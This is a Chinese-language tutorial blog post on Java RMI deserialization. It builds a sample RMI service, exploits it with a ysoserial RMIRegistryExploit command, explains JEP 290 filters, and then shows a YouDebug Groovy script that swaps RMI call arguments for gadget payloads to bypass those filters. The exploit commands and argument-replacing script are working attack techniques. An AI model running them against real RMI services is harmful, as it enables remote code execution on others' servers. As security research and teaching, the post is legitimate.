远程方法调用是分布式编程中的一个基本思想。实现远程方法调用的技术有很多,例如WebService,两者的区别就是:WebService是独立于编程语言的,它可以跨语言实现项目间的方法调用,而Java RMI是专用于Java环境的。
远程服务器实现具体的Java方法并提供接口,客户端本地仅需根据接口类的定义,提供相应的参数即可调用远程方法并获取执行结果。Java在底层实现了远程调用过程中具体的网络通信细节,开发者不需要关心这部分,因此在调用分布在不同的JVM中的对象时就像调用本地对象一样。
1、服务端提供一个HelloService服务,如下为该服务的接口:
public interface IHelloService extends java.rmi.Remote {
//远程调用方法必须抛出RemoteException异常
String sayHello(Object obj) throws RemoteException;
void log(String msg) throws RemoteException;
}
2、HelloServiceImpl实现上述接口:
public class HelloServiceImpl implements IHelloService {
@Override
public String sayHello(Object obj) {
System.out.println("sayHello被调用,obj值为: " + obj);
return "我是RMIServer ...... ";
}
@Override
public void log(String msg) throws RemoteException {
System.out.println("msg: " + msg);
}
}
3、为了能远程调用该服务对象,JDK提供了一个RMI注册表(RMIRegistry)。只需要将对象注册到Registry即可,Registry默认监听在传说中的1099端口上。
public class RMIServer {
public static void main(String[] args) {
try {
HelloServiceImpl obj = new HelloServiceImpl();
//HelloServiceImpl没有继承UnicastRemoteObject,需使用exportObject来处理
IHelloService helloService = (IHelloService) UnicastRemoteObject.exportObject(obj, 0);
//创建Registry,监听于9999端口
Registry reg = LocateRegistry.createRegistry(9999);
//将HelloServiceImpl绑定到Registry
reg.bind("HelloService", helloService);
System.out.println("HelloServiceImpl已绑定到Registry ......");
} catch (Exception e) {
e.printStackTrace();
}
}
}
4、建立客户端,调用上述提供的RMI服务:
public class RMIClient {
public static void main(String[] args) throws Exception {
//根据ip和端口获取Registry
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 9999);
//使用Registry获取远程对象的引用
IHelloService services = (IHelloService) registry.lookup("HelloService");
// 使用远程对象的引用调用对应的方法
String res = services.sayHello("我是RMIClient ...... ");
System.out.println(res);
}
}
5、运行结果:
1)首先启动RMIServer,结果如下:
2、再启动RMIClient,可以看到控制台输出了服务端方法的返回值:
3、这时服务端控制台也打印了调用方法时传递的参数值:
1、我们仍然使用上述的RMIServer代码作为服务端,但jdk版本使用较低的jdk1.8.0_112,如下:
2、使用ysoserial提供的exp来进行攻击,我使用的命令如下:
java -cp ysoserial-0.0.6-SNAPSHOT-all.jar ysoserial.exploit.RMIRegistryExploit 127.0.0.1 9999 CommonsCollections7 "calc"
解释如下:
1)使用ysoserial的ysoserial.exploit.RMIRegistryExploit类攻击127.0.0.1上的9999端口提供的RMI服务,
2)使用的payload为CommonsCollections7,因为服务端存在commons-collections-3.1.jar工具包,
3)执行的命令是calc
3、可以看到虽然有报错,但成功弹出了计算器:
1、将RMIServer端的jdk版本设置为jdk1.8.0_152,如下:
2、同样使用上述ysoserial的命令,这时客户端与服务端均有错误,都可以看到一个filter status:REJECTED,这就是JEP 290起的防护作用:
虽然引入JEP290之前,已有相应的缓解反序列化漏洞的方案,例如重写ObjectInputSteam的resolveClass()方法,但仍然缺少处理此问题的官方规范,因此在JDK9中引入了JEP 290,使用反序列化过滤器来提高数据反序列化的安全性,并且它也反向移植到了老版本的JDK(JDK 8u121、JDK 7u131和JDK 6u141)中。配置过滤器的方法有一下三种:
通过实现ObjectInputFilter接口可以创建自定义过滤器,需重写checkInput(FilterInfo filterInfo)方法如下,该过滤器只允许反序列化String类型的对象,其余类型对象都会REJECTED:
class MyFilter implements ObjectInputFilter {
final Class> clazz = String.class;
public ObjectInputFilter.Status checkInput(FilterInfo filterInfo) {
if (filterInfo.serialClass() != null && filterInfo.serialClass() == this.clazz) {
return Status.ALLOWED;
} else {
return Status.REJECTED;
}
}
}
在JDK9中可以使用ObjectInputStream.setObjectInputFilter(ObjectInputFilter filter)方法设置自定义过滤器;
老版本中可以使用ObjectInputFilter.Config.setObjectInputFilter(ois,new VehicleFilter())方法。
通过系统属性或配置文件配置全局过滤器:
系统属性:jdk.serialFilter(通过命令行参数“-Djdk.serialFilter=”来设置)
配置文件:jdk.serialFilter(位于%JAVA_HOME%/conf/security/java.properties)
如下为我在jdk1.8.0_152中测试时添加的全局过滤器,该设置不允许反序列化org.apache.commons.collections包下包括所有子包中的所有类:
用于RMI注册表和分布式垃圾收集(DGC),这两个内置过滤器均采用白名单方式,仅允许对特定类进行反序列化:
RMIRegistryImpl
java.lang.Number
java.rmi.Remote
java.lang.reflect.Proxy
sun.rmi.server.UnicastRef
sun.rmi.server.RMIClientSocketFactory
sun.rmi.server.RMIServerSocketFactory
java.rmi.activation.ActivationID
java.rmi.server.UID
DGCImpl
java.rmi.server.ObjID
java.rmi.server.UID
java.rmi.dgc.VMID
java.rmi.dgc.Lease
尽管不再可能在RMI注册表或DGC上利用Java反序列化执行代码,但只要未设置全局过滤器,还是可以利用的,原因如下:
当RMI客户端调用远程对象时,服务端将在sun.rmi.server.UnicastServerRef类中有如下调用链来校验远程调用发送的参数值:
dispatch()->unmarshalParameters()->unmarshalParametersUnchecked()->unmarshalValue();
unmarshalValue方法如下:
protected static Object unmarshalValue(Class> var0, ObjectInput var1) {
if (var0.isPrimitive()) {
if (var0 == Integer.TYPE) {
return var1.readInt();
} else if (var0 == Boolean.TYPE) {
return var1.readBoolean();
} else if (var0 == Byte.TYPE) {
return var1.readByte();
} else if (var0 == Character.TYPE) {
return var1.readChar();
} else if (var0 == Short.TYPE) {
return var1.readShort();
} else if (var0 == Long.TYPE) {
return var1.readLong();
} else if (var0 == Float.TYPE) {
return var1.readFloat();
} else if (var0 == Double.TYPE) {
return var1.readDouble();
} else {
throw new Error("Unrecognized primitive type: " + var0);
}
} else {
return var1.readObject();
}
}
从上述方法中可以看到,如果传入的类型不为基本类型,将直接调用readObject()方法来对其进行反序列化,此过程并未经过RMI的内置过滤器,因此可以通过远程调用方法时传入恶意对象来达到反序列化任意对象的目的
攻击情形可分为以下两类:
此种情况利用很简单,我们可以借助ysoserial生成payload,然后直接将该payload作为参数调用即可。
在第二章中搭建的RMI服务中sayHello方法的参数类型就是Object类型,为了方便,我直接在ysoserial源码基础上做修改来攻击:
1、RMI服务端java版本为jdk1.8.0_152,如下:
2、修改ysoserial的RMIRegistryExploit类的exploit方法如下即可,当然还需要在ysoserial项目中将IhelloService接口复制过来:
配置参数如下,与第二章在命令行中设置的参数一样:
3、运行main函数即可,可以看到成功弹出计算器:
这种情况利用就相对复杂些,但事实上,这种情况出现的几率比第一种情况大了很多,因为大多数接口是不提供接受任意类型对象作为参数的方法的,这时就需要动态替换rmi调用过程中传递的参数值:
1、同样先启动RMI服务:
2、将IHelloService.java与RMIClient.java两个文件拷贝到test目录下,在该目录下执行javac -d . *.java命令,即可编译为class文件,并根据包名生成对应目录
3、以支持远程调试的方式启动RMIClient,因为要使用ysoserial生成payload,所以需要将其加入classpath,执行如下命令:
java -agentlib:jdwp=transport=dt_socket,server=y,address=127.0.0.1:8000 -cp ".;ysoserial-0.0.6-SNAPSHOT-all.jar" hldf.rmitest.RMIClient
4、利用YouDebug调试器来动态修改参数,YouDebug是一个支持Groovy脚本调试器,可以在java.rmi.server.RemoteObjectInvocationHandler类的invokeRemoteMethod方法中设置断点来修改传递的参数值,如下Groovy脚本即可完成该操作:
// 使用的ysoserial中的payload名称
def payloadName = "CommonsCollections6";
//执行的命令
def payloadCommand = "calc";
//替换的参数值
def needle = "hldf..."
println "Loaded..."
// set a breakpoint at "invokeRemoteMethod", search the passed argument for a String object
// that contains needle. If found, replace the object with the generated payload
vm.methodEntryBreakpoint("java.rmi.server.RemoteObjectInvocationHandler", "invokeRemoteMethod") {
// make sure that the payload class is loaded by the classloader of the debugee
vm.loadClass("ysoserial.payloads." + payloadName);
println "[+] java.rmi.server.RemoteObjectInvocationHandler.invokeRemoteMethod() is called"
// get the Array of Objects that were passed as Arguments
delegate."@2".eachWithIndex { arg,idx ->
println "[+] Argument " + idx + ": " + arg[0].toString();
if(arg[0].toString().contains(needle)) {
println "[+] Needle " + needle + " found, replacing String with payload"
def payload = vm._new("ysoserial.payloads." + payloadName);
def payloadObject = payload.getObject(payloadCommand)
vm.ref("java.lang.reflect.Array").set(delegate."@2",idx, payloadObject);
println "[+] Done.."
}
}
}
执行如下命令即可:
java -jar youdebug.jar -socket 127.0.0.1:8000 barmitzwa.groovy
5、可以看到成功弹出计算器:
该攻击方式有以下缺点:
1、仅当攻击者有权访问RMI服务时,才能攻击成功,因为我们是通过调用远程方法的方式进行攻击的。
2、攻击者需知道RMI服务接口中方法的签名,因为没有方法签名当然是无法去调用远程方法的,可以通过枚举常见的方法签名来进行攻击,例如:
login(String username, String password)
logMessage(int logLevel, String message)
log(int logLevel, String message)
https://mogwailabs.de/blog/2019/03/attacking-java-rmi-services-after-jep-290/